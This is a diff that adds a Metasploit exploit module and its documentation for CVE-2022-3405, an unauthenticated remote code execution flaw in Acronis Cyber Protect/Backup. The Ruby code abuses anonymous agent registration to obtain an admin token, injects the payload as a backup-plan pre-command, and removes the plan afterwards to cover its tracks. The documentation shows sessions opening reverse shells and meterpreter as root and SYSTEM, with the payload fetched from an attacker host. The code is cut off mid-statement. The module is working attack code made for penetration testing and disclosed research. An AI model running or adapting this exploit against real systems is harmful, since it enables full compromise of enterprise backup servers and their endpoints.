diff --git a/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md b/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md new file mode 100644 index 000000000000..8d55ed46fa41 --- /dev/null +++ b/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md @@ -0,0 +1,354 @@ +## Vulnerable Application +Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources. +Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment. +The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous registration of new protect/backup agents +on new endpoints. This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. +As the management web console is running on the same port as the API for the agents, this bearer token is also valid for any actions +on the web console. This allows an attacker with network access to the appliance to start the registration of a new agent, +retrieve a bearer token that provides admin access to the available functions in the web console. + +The web console contains multiple possibilities to execute arbitrary commands on both the agents (e.g., via PreCommands for a backup) +and also the appliance (e.g., via a Validation job on the agent of the appliance). +These options can easily be set with the provided bearer token, which leads to a complete compromise of all agents and the appliance +itself. + +You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` to collect target info for exploitation +in this module. Or just run this module standalone and it will try to exploit the first online endpoint matching your target and +payload settings configured at the module. + +Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and +Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + +The following releases were tested. + +**Acronis Cyber Protect 15 ISO appliances:** +* Acronis Cyber Protect 15 Build 28503 +* Acronis Cyber Protect 15 Build 27009 +* Acronis Cyber Protect 15 Build 26981 +* Acronis Cyber Protect 15 Build 26172 + +**Acronis Cyber Protect 12.5 ISO appliances:** +* Acronis Cyber Protect 12.5 Build 16428 +* Acronis Cyber Protect 12.5 Build 16386 +* Acronis Cyber Protect 12.5 Build 14330 +* Acronis Cyber Protect 12.5 Build 11010 + +## Installation steps to install the Acronis Cyber Protect/Backup appliance +* Install the virtualization engine VMware Fusion on your preferred platform. +* [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html). +* [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US). +* Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image. +* During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address +* using the option `change installation settings`. +* Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22` +* via the `webui` via `http://your_ip:9877`. +* Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect. +* Login into the appliance via the `webui`. +* Follow the license instructions to apply your 30-day trial license. + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405` +- [ ] `set rhosts ` +- [ ] `set lhost ` +- [ ] `exploit` +- [ ] you should get a `shell` or `meterpreter` session depending on your settings. + +## Options +These three options below are needed to target an specific endpoint registered on the Acronis Protect/Backup appliance. +This information can be collected using the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. +This information is not mandatory for the module to run successfully. +You can also run this module standalone and it will try to exploit the first online endpoint matching your target +and payload settings configured at the module. +### HOSTID +HostId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. +### KEY +Key value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. +### PARENTID +ParentId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. +### OUTPUT +You can use option `none` where no information is stored or printed to the console (default). +Choosing option `json` will store all information at a file in `json` format at the loot directory. +You can use this file in combination with `jq` for offline queries and processing. + +## Scenarios +```msf +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > info + + Name: Acronis Cyber Protect/Backup remote code execution + Module: exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405 + Platform: Unix, Linux, Windows + Arch: cmd + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2022-11-08 + +Provided by: + h00die-gr3y + Sandro Tolksdorf of usd AG. + +Module side effects: + artifacts-on-disk + ioc-in-logs + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 Unix/Linux Command + 1 Windows Command + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + HOSTID no hostId value collected from recon module "auxiliary/gather/a + cronis_cyber_protect_machine_info_disclosure" + KEY no key value collected from recon module "auxiliary/gather/acro + nis_cyber_protect_machine_info_disclosure" + OUTPUT none yes Output format to use (Accepted: none, json) + PARENTID no parentId value collected from recon module "auxiliary/gather + /acronis_cyber_protect_machine_info_disclosure" + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/usi + ng-metasploit/basics/using-metasploit.html + RPORT 9877 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The URI of the vulnerable Acronis Cyber Protect/Backup insta + nce + VHOST no HTTP server virtual host + +Payload information: + +Description: + Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, + compute, storage and application resources. Businesses and Service Providers are using it + to protect and backup all IT assets in their IT environment. + The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous + registration of new protect/backup agents on new endpoints. This API endpoint also + generates bearer tokens which the agent then uses to authenticate to the appliance. + As the management web console is running on the same port as the API for the agents, this + bearer token is also valid for any actions on the web console. This allows an attacker + with network access to the appliance to start the registration of a new agent, retrieve a + bearer token that provides admin access to the available functions in the web console. + + The web console contains multiple possibilities to execute arbitrary commands on both the + agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation + job on the agent of the appliance). These options can easily be set with the provided bearer + token, which leads to a complete compromise of all agents and the appliance itself. + + You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` + to collect target info for exploitation in this module. Or just run this module standalone and + it will try to exploit the first online endpoint matching your target and payload settings + configured at the module. + + Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and + Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2022-3405 + https://herolab.usd.de/security-advisories/usd-2022-0008/ + https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405 + + +View the full module info with the info -d command. +``` +### Acronis Cyber Backup 12.5 build 14330 VMware appliance - Linux target +```msf +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0 +target => 0 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_SRVHOST 192.168.201.8 +FETCH_SRVHOST => 192.168.201.8 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_WRITABLE_DIR /tmp +FETCH_WRITABLE_DIR => /tmp +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 +[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. +[*] Found online target matching your target setting Unix/Linux Command. +[+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83 +[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks +[+] key: phm.F70D1B08-5097-4CE5-8E22-F9E0DB75401F@345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.disks +[*] type: machine +[*] hostname: AcronisAppliance-AC319 +[*] IP: 192.168.201.6 +[*] OS: GNU/Linux +[*] ARCH: linux +[*] ONLINE: true +[*] Import backup plan with payload for target with hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83. +[*] Executing Unix/Linux Command with payload cmd/linux/http/x64/meterpreter/reverse_tcp +[*] Sending stage (3045380 bytes) to 192.168.201.6 +[*] Meterpreter session 22 opened (192.168.201.8:4444 -> 192.168.201.6:60862) at 2024-10-23 12:35:44 +0000 +[+] Backup plan is successful removed. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.201.6 +OS : CentOS 7.4.1708 (Linux 3.10.0-693.11.6.el7.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > pwd +/var/lib/Acronis/mms +meterpreter > +``` +### Acronis Cyber Backup 12.5 build 14330 VMware appliance - Windows target +```msf +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 1 +target => 1 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set output json +output => json +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/windows/reverse_powershell +payload => cmd/windows/reverse_powershell +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 +[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. +[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023124641_default_192.168.201.6_acronis.cyber.pr_949551.bin +[*] Found online target matching your target setting Windows Command. +[+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC +[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks +[+] key: phm.0CA16CD4-1C6D-44D2-BEF1-B9F146005EE1@28BAFD9F-F9F1-481F-A970-1A6ED70736AC.disks +[*] type: machine +[*] hostname: WIN-BJDNH44EEDB +[*] IP: 192.168.201.5 +[*] OS: Microsoft Windows Server 2019 Standard +[*] ARCH: windows +[*] ONLINE: true +[*] Import backup plan with payload for target with hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC. +[*] Executing Windows Command with payload cmd/windows/reverse_powershell +[*] Command shell session 23 opened (192.168.201.8:4444 -> 192.168.201.5:49780) at 2024-10-23 12:46:51 +0000 +[+] Backup plan is successful removed. + + +Shell Banner: +Microsoft Windows [Version 10.0.17763.107] +----- + + +C:\Windows\system32>whoami +whoami +nt authority\system + +C:\Windows\system32>systeminfo +systeminfo + +Host Name: WIN-BJDNH44EEDB +OS Name: Microsoft Windows Server 2019 Standard +OS Version: 10.0.17763 N/A Build 17763 +OS Manufacturer: Microsoft Corporation +OS Configuration: Standalone Server +OS Build Type: Multiprocessor Free +Registered Owner: Windows User +Registered Organization: +Product ID: 00429-70000-00000-AA946 +Original Install Date: 1/26/2023, 10:05:52 AM +System Boot Time: 10/23/2024, 2:44:05 PM +System Manufacturer: innotek GmbH +System Model: VirtualBox +System Type: x64-based PC +Processor(s): 1 Processor(s) Installed. + [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2307 Mhz +BIOS Version: innotek GmbH VirtualBox, 12/1/2006 +Windows Directory: C:\Windows +System Directory: C:\Windows\system32 +Boot Device: \Device\HarddiskVolume1 +System Locale: en-us;English (United States) +Input Locale: en-us;English (United States) +Time Zone: (UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna +Total Physical Memory: 2,048 MB +Available Physical Memory: 475 MB +Virtual Memory: Max Size: 4,224 MB +Virtual Memory: Available: 2,800 MB +Virtual Memory: In Use: 1,424 MB +Page File Location(s): C:\pagefile.sys +Domain: WORKGROUP +Logon Server: N/A +Hotfix(s): 1 Hotfix(s) Installed. + [01]: KB4464455 +Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Desktop Adapter + Connection Name: Ethernet + DHCP Enabled: No + IP address(es) + [01]: 192.168.201.5 + [02]: fe80::85ec:4690:3774:2b6b + [03]: fdf7:94fa:75b3:fe44:85ec:4690:3774:2b6b +Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. + +C:\Windows\system32> +``` +### Acronis Cyber Backup 15 build 27009 VMware appliance - Linux target +```msf +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0 +target => 0 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 15.0.27009 +[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. +[*] Found online target matching your target setting Unix/Linux Command. +[+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D +[+] parentId: 00000000-0000-0000-0000-000000000000 +[+] key: phm.EA9A6E26-38B5-4727-9957-FD7CDD7BF2CC@D287E868-EDBB-4FE9-85A9-F928AA10EE5D.disks +[*] type: machine +[*] hostname: AcronisAppliance-FCD94 +[*] IP: 192.168.201.6 +[*] OS: Linux: CentOS Linux release 7.6.1810 (Core) +[*] ARCH: linux +[*] ONLINE: true +[*] Import backup plan with payload for target with hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D. +[*] Executing Unix/Linux Command with payload cmd/unix/reverse_bash +[*] Command shell session 21 opened (192.168.201.8:4444 -> 192.168.201.6:35722) at 2024-10-23 12:20:05 +0000 +[+] Backup plan is successful removed. + +uname -a +Linux AcronisAppliance-FCD94 3.10.0-957.27.2.el7.x86_64 #1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux +id +uid=0(root) gid=0(root) groups=0(root) +pwd +/var/lib/Acronis/mms +``` + +## Limitations +In some occasions, the exploit might fail. +Adjust the `WfsDelay` advanced option might help. diff --git a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb new file mode 100644 index 000000000000..eb7582faa5f3 --- /dev/null +++ b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb @@ -0,0 +1,520 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HTTP::AcronisCyber + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Acronis Cyber Protect/Backup remote code execution', + 'Description' => %q{ + Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, + compute, storage and application resources. Businesses and Service Providers are using it + to protect and backup all IT assets in their IT environment. + The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous + registration of new protect/backup agents on new endpoints. This API endpoint also + generates bearer tokens which the agent then uses to authenticate to the appliance. + As the management web console is running on the same port as the API for the agents, this + bearer token is also valid for any actions on the web console. This allows an attacker + with network access to the appliance to start the registration of a new agent, retrieve a + bearer token that provides admin access to the available functions in the web console. + + The web console contains multiple possibilities to execute arbitrary commands on both the + agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation + job on the agent of the appliance). These options can easily be set with the provided bearer + token, which leads to a complete compromise of all agents and the appliance itself. + + You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` + to collect target info for exploitation in this module. Or just run this module standalone and + it will try to exploit the first online endpoint matching your target and payload settings + configured at the module. + + Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and + Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + }, + 'Author' => [ + 'h00die-gr3y ', # Metasploit module + 'Sandro Tolksdorf of usd AG.' # discovery + ], + 'References' => [ + ['CVE', '2022-3405'], + ['URL', 'https://herolab.usd.de/security-advisories/usd-2022-0008/'], + ['URL', 'https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux', 'windows'], + 'Privileged' => true, + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command', + { + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd + } + ], + [ + 'Windows Command', + { + 'Platform' => ['windows'], + 'Arch' => ARCH_CMD, + 'Type' => :win_cmd + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2022-11-08', + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 9877 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']), + OptString.new('HOSTID', [false, 'hostId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), + OptString.new('PARENTID', [false, 'parentId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), + OptString.new('KEY', [false, 'key value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), + OptEnum.new('OUTPUT', [true, 'Output format to use', 'none', ['none', 'json']]) + ]) + end + + # create and import backup plan data with payload + # returns nil if not successful + def create_and_import_backup_plan(hostid, parentid, key, payload, access_token2) + id = Faker::Internet.uuid + name = Rex::Text.rand_text_alphanumeric(5..8).downcase + + # we need to split the payload in the command and the arguments + # otherwise command execution does not work for windows targets + cmd_line = payload.split(' ', 2) + + case target['Type'] + when :unix_cmd + source_dir = '/home' + target_dir = '/tmp' + when :win_cmd + source_dir = 'c:/users/public' + target_dir = 'c:/windows/temp' + else + # probably macOS or other unix version + source_dir = '/home' + target_dir = '/tmp' + end + + plan_data = { + allowedActions: ['rename', 'revoke', 'runNow'], + allowedBackupTypes: ['full', 'incremental'], + backupType: 'files', + bootableMediaPlan: false, + editable: true, + enabled: true, + id: id.to_s, + locations: { data: [{ displayName: target_dir.to_s, id: "[[\"ItemType\",\"local_folder\"],[\"LocalID\",\"#{target_dir}\"]]", type: 'local_folder' }] }, + name: name.to_s, + options: { + backupOptions: { + prePostCommands: { + postCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' }, + preCommands: { + command: cmd_line[0].to_s, + commandArguments: cmd_line[1].to_s, + continueOnCommandError: true, + waitCommandComplete: false, + workingDirectory: '' + }, + useDefaultCommands: false, + usePostCommands: false, + usePreCommands: true + }, + prePostDataCommands: { + postCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' }, + preCommands: { command: '', commandArguments: '', continueOnCommandError: false, waitCommandComplete: true, workingDirectory: '' }, + useDefaultCommands: true, + usePostCommands: false, + usePreCommands: false + }, + scheduling: { interval: { type: 'minutes', value: 30 }, type: 'distributeBackupTimeOptions' }, + simultaneousBackups: { simultaneousBackupsNumber: nil }, + snapshot: { + quiesce: true, + retryConfiguration: { + reattemptOnError: true, + reattemptTimeFrame: { type: 'minutes', value: 5 }, + reattemptsCount: 3, + silentMode: false + } + }, + tapes: { devices: [], overwriteDataOnTape: false, preserveTapesPosition: true, tapeSet: '' }, + taskExecutionWindow: {}, + taskFailureHandling: { periodBetweenRetryAttempts: { type: 'hours', value: 1 }, retryAttempts: 1, retryFailedTask: false }, + taskStartConditions: { runAnyway: false, runAnywayAfterPeriod: { type: 'hours', value: 1 }, waitUntilMet: true }, + validateBackup: false, + volumes: { + forceVssFullBackup: false, + useMultiVolumeSnapshot: true, + useNativeVssProvider: false, + useVolumeShadowService: true, + useVssFlags: ['definedRule'] + }, + vssFlags: { availableVssModes: ['auto', 'system'], enabled: true, value: 'auto', vssFullBackup: false }, + windowsEventLog: { isGlobalConfigurationUsed: true, traceLevel: 'warning', traceState: false }, + withHWSnapshot: false + }, + specificParameters: { inclusionRules: { rules: [ source_dir.to_s ], rulesType: 'centralizedFiles' }, type: '' } + }, + origin: 'centralized', + route: { + archiveSlicing: nil, + stages: [ + { + archiveName: '[Machine Name]-[Plan ID]-[Unique ID]A', + cleanUpIfNoSpace: false, + cleanup: { + time: [ + { backupSet: 'daily', period: { type: 'days', value: 7 } }, + { backupSet: 'weekly', period: { type: 'weeks', value: 4 } } + ], + type: 'cleanupByTime' + }, + destinationKind: 'local_folder', + locationScript: nil, + locationUri: target_dir.to_s, + locationUriType: 'local', + maintenanceWindow: nil, + postAction: { + convertToVMParameters: { + agentIds: [], + cpuCount: nil, + diskAllocationType: 'thick', + displayedName: nil, + enabled: false, + exactMemorySize: false, + infrastructureType: '', + memorySize: nil, + networkAdapters: [], + virtualMachineName: '', + virtualServerHost: nil, + virtualServerHostKey: '[["ItemType",""],["LocalID",""]]', + virtualServerStorage: '' + } + }, + rules: [ + { + afterBackup: true, + backupCountUpperLimit: 0, + backupSetIndex: 'daily', + backupUpperLimitSize: 0, + beforeBackup: false, + consolidateBackup: false, + deleteOlderThan: { type: 'days', value: 7 }, + deleteYongerThan: { type: 'days', value: 0 }, + onSchedule: false, + retentionSchedule: { + alarms: [], + conditions: [], + maxDelayPeriod: -1, + maxRetries: 0, + preventFromSleeping: true, + retryPeriod: 0, + type: 'none', + unique: false, + waitActionType: 'run' + }, + stagingOperationType: 'justCleanup' + }, + { + afterBackup: true, + backupCountUpperLimit: 0, + backupSetIndex: 'weekly', + backupUpperLimitSize: 0, + beforeBackup: false, + consolidateBackup: false, + deleteOlderThan: { type: 'weeks', value: 4 }, + deleteYongerThan: { type: 'days', value: 0 }, + onSchedule: false, + retentionSchedule: { + alarms: [], + conditions: [], + maxDelayPeriod: -1, + maxRetries: 0, + preventFromSleeping: true, + retryPeriod: 0, + type: 'none', + unique: false, + waitActionType: 'run' + }, + stagingOperationType: 'justCleanup' + } + ], + useProtectionPlanCredentials: true, + validationRules: nil + } + ] + }, + scheme: { + parameters: { + backupSchedule: { + kind: { dataType: 'binary', type: 'full' }, + schedule: { + alarms: [ + { + beginDate: { day: 0, month: 0, year: 0 }, + calendar: { days: 65, type: 'weekly', weekInterval: 0 }, + distribution: { enabled: false, interval: 0, method: 0 }, + endDate: { day: 0, month: 0, year: 0 }, + machineWake: false, + repeatAtDay: { endTime: { hour: 0, minute: 0, second: 0 }, timeInterval: 0 }, + runLater: false, + skipOccurrences: 0, + startTime: { hour: 23, minute: 0, second: 0 }, + startTimeDelay: 0, + type: 'time', + utcBasedSettings: false + } + ], + conditions: [], + maxDelayPeriod: -1, + maxRetries: 0, + preventFromSleeping: true, + retryPeriod: 0, + type: 'daily', + unique: false, + waitActionType: 'run' + } + }, + backupTypeRule: 'byScheme' + }, + schedule: { + daysOfWeek: ['monday', 'tuesday', 'wednesday', 'thursday', 'friday'], + effectiveDates: { from: { day: 0, month: 0, year: 0 }, to: { day: 0, month: 0, year: 0 } }, + machineWake: false, + preventFromSleeping: true, + runLater: false, + startAt: { hour: 23, minute: 0, second: 0 }, + type: 'daily' + }, + type: 'weekly_full_daily_inc' + }, + sources: { data: [{ displayName: name.to_s, hostID: hostid.to_s, id: key.to_s }] }, + target: { inclusions: [{ key: key.to_s, resource_key: key.to_s }] }, + tenant: { id: parentid.to_s, locator: "/#{parentid}/", name: parentid.to_s, parentID: '' } + }.to_json + + form_data = Rex::MIME::Message.new + form_data.add_part(plan_data, 'application/json', nil, "form-data; name=\"planfile\"; filename=\"#{Rex::Text.rand_text_alpha(4..8)}.json\"") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plan_operations', 'import'), + 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token2}" + }, + 'data' => form_data.to_s, + 'vars_get' => { + 'CreateDraftOnError' => true + } + }) + return unless res&.code == 200 && res.body.include?('planId') && res.body.include?('importedPlans') + + # parse json response and return planId + res_json = res.get_json_document + return if res_json.blank? + + res_json.dig('data', 'importedPlans', 0, 'planId') + end + + # remove the backup plan on the target including the payload + # returns true if successful + def remove_backup_plan(access_token2) + post_data = { + planIds: [@planid.to_s] + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plans_operations', 'remove_plans'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token2}" + }, + 'data' => post_data.to_s + }) + return false unless res&.code == 200 + + true + end + + # execute the backup plan on the target including the payload + # returns true if successful + def execute_command(access_token2, _opts = {}) + post_data = { + planId: @planid.to_s + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'backup', 'plan_operations', 'run'), + 'ctype' => 'application/json', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Authorization' => "bearer #{access_token2}" + }, + 'data' => post_data.to_s + }) + return false unless res&.code == 200 + + true + end + + def cleanup + # try to remove imported backup plan with payload to cover our tracks + # but do not run during the check phase + super + unless @check_running + if remove_backup_plan(@access_token2) + print_good('Backup plan is successful removed.') + else + print_warning('Backup plan could not be removed. Try to clean it manually.') + end + end + end + + def check + @check_running = true + # initial check on api access + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'meta'), + 'ctype' => 'application/json' + }) + return Exploit::CheckCode::Unknown('No Acronis API access found!') unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') + + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("Extracted first access token: #{@access_token1}") + return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = Faker::Internet.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id, @access_token1) + return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil? + + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("Extracted second access token: #{@access_token2}") + return Exploit::CheckCode::Unknown('Retrieval of the second access token failed.') if @access_token2.nil? + + # get version info + version = get_version_info(@access_token2) + return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil? + + release = version.match(/(.+)\.(\d+)/) + case release[1] + when '15.0' + if Rex::Version.new(version) < Rex::Version.new('15.0.29486') + return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") + else + return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + when '12.5' + if Rex::Version.new(version) < Rex::Version.new('12.5.16545') + return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") + else + return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + else + Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + end + + def exploit + @check_running = false + # check if @access_token2 is already set as part of autocheck option + if @access_token2.nil? + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("Extracted first access token: #{@access_token1}") + fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = Faker::Internet.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id, @access_token1) + fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("Extracted second access token: #{@access_token2}") + fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil? + end + + # if hostid, parentid and key are blank, fetch the first managed online endpoint defined at the appliance matching the module target setting + hostid = datastore['HOSTID'] + parentid = datastore['PARENTID'] + key = datastore['KEY'] + if hostid.blank? || parentid.blank? || key.blank? + print_status('Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.') + res_json = get_machine_info(@access_token2) + fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil? + + # find first online target matching the module target settings + res_json['data'].each do |item| + next unless item['type'] == 'machine' && (item['osType'] == 'linux' && target['Type'] == :unix_cmd) || (item['osType'] == 'windows' && target['Type'] == :win_cmd) && item['online'] + + print_status("Found online target matching your target setting #{target.name}.") + print_good("hostId: #{item['hostId']}") unless item['hostId'].nil? + print_good("parentId: #{item['parentId']}") unless item['parentId'].nil? + print_good("key: #{item['id']}") unless item['id'].nil? + print_status("type: 